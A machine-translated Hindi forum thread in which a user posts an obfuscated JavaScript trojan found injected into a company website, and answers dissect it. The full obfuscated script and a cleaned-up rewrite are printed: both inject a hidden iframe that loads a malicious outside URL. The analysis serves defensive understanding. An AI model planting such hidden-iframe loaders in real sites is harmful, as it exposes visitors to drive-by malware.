2010-07-20 7 views
7

मैं हाल ही में जावास्क्रिप्ट के आवंटन के साथ खेल रहा हूं और इस बात पर विचार करना शुरू कर दिया कि मुझे जावास्क्रिप्ट का एक टुकड़ा नहीं मिल सका जो मैं डीबग करने में सक्षम नहीं हूं।जावास्क्रिप्ट ट्रोजन विच्छेदन

वैसे मैं सुखद आश्चर्यचकित था और आज हमें नाराज हुआ जब हमने हमारी कंपनी की वेबसाइट पर कई जावास्क्रिप्ट रीडायरेक्ट ट्रोजन खोजे।

हमने पाया कि अधिकांश कोड मैं आसानी से विच्छेदन करने और कोड फ़ंक्शन को खराब करने के लिए मानक से बचने में सक्षम था।

लेकिन कोड के बीच हमने पाया कि नीचे दिया गया कोड पूरी तरह से मुझे क्या कर रहा है पर फंस गया है। (एकमात्र ऐसा हिस्सा जिसे मैं काम करने के लिए प्रतीत कर सकता हूं वह यह है कि यह कुछ पैरामीटर पर प्रतिस्थापन कर रहा है)।

तो क्या कोई मेरे लिए निम्नलिखित कोड को विच्छेदन करने के लिए कृपया दयालु होगा? मुझे पता है पर वास्तव में क्या हो रहा है प्यार होता ...

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

मैं सिर्फ कोड के पहले 30 पत्र पढ़ा,, अपने आप को थप्पड़ मारा एक कॉफी बना दिया, बैठ गए और देखा वहाँ एक स्क्रॉलबार। – Marko

उत्तर

17

यह http://fancycake.xxx/something एम्बेड करता है, और इस लाइन जहां आप इसे देख सकते हैं:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

आप देखते हैं कि कैसे हर अजीब चरित्र है, जब कि स्ट्रिंग से plucked, यूआरएल रूपों। मैंने इसे नहीं चलाया, इसलिए मुझे यकीन नहीं है कि यह किस स्थिति में करता है, लेकिन आप देख सकते हैं कि String.replace का नाम बदलकर String.gT कर दिया गया है और स्ट्रिंग को अपरिवर्तित करने वाले पात्रों के खिलाफ एक रेगेक्स पारित किया जा रहा है। आपको लगता है कि एक ही विधि का आवेदन करते हैं, अजीब पात्रों तोड़, आप देख सकते हैं एक छिपा iframe, कुछ जावास्क्रिप्ट ईवेंट हैंडलर्स, setAttribute, आदि है कि वहाँ:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

यह कैसे String.replace एलियास किया गया है:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

उस फ़ंक्शन के संदर्भ में, this वह स्ट्रिंग है जिस पर gT कहा जा रहा है और d स्ट्रिंग replace है। स्ट्रिंग के प्रोटोटाइप पर, this['replace']replace() विधि देता है, जिसे फिर gT पर दो तर्कों के साथ बुलाया जाता है। परिणाम फिर वापस आ गया है।

अद्यतन

मैं तो जैसे स्क्रिप्ट तब्दील:

  1. उनके सादे रूपों के साथ सभी string.gT() कॉल बदला गया।
  2. किसी भी वेरिएबल को हटाया गया है जिसका संदर्भ नहीं दिया गया है।
  3. कुछ सामान्य ज्ञान नामों को कार्य करता है।

यह परिणाम है, यह है कि यह कैसे काम करता है अब बहुत स्पष्ट होना चाहिए:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+ व्याख्या के लिए –

+0

यह मेरे साथ नहीं हुआ कि मैं जो देख रहा था वह सभी गड़बड़ में regex था। जो मुझे अभी नहीं मिलता है, ठीक है, मुझे प्रोटोटाइप कीवर्ड का मूल विचार मिलता है लेकिन यह कैसे लौटाता है [डी] (एल, वी) परिणामस्वरूप रेगेक्स पैटर्न मिलान का ओवरराइड होता है? या फिर वे कोड की उस पंक्ति में क्या हासिल करने की कोशिश कर रहे हैं? पीएस: स्पष्टीकरण के लिए धन्यवाद क्योंकि स्पष्ट रूप से मैंने इसे डीबगर में फंस लिया लेकिन अभी भी इसे समझने के लिए संघर्ष किया है। –

+0

मैंने प्रतिस्थापन के बारे में स्पष्टीकरण शामिल करने के लिए उत्तर अपडेट किया है। –

4

यह अपनी वेबसाइट के लिए निम्न URL के लिए एक अदृश्य iFrame जोड़ता है:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

वेबसाइट fancycake के रूप में Firefox के तहत हमला किया और दुर्भावनापूर्ण चिह्नित है

+0

आप कैसे पता चला? –

+1

इसे एक जावास्क्रिप्ट डीबगर में चलाकर और क्या हो रहा था देखकर। इसके बाद, मैंने आईफ्रेम यूआरएल के लिए सर्फ किया और फ़ायरफ़ॉक्स चेतावनी देखी :) – Erik

1

इसे एक जावास्क्रिप्ट डीबगर में चलाएं; आखिरकार, कोड खुद को संकुचित कर देगा और शुरू करने का प्रयास करेगा। मैं सुरक्षित पक्ष पर होने के लिए शायद एक लिनक्स बॉक्स पर फ़ायरफ़ॉक्स के नवीनतम संस्करण का उपयोग करने का सुझाव देता हूं।

संबंधित मुद्दे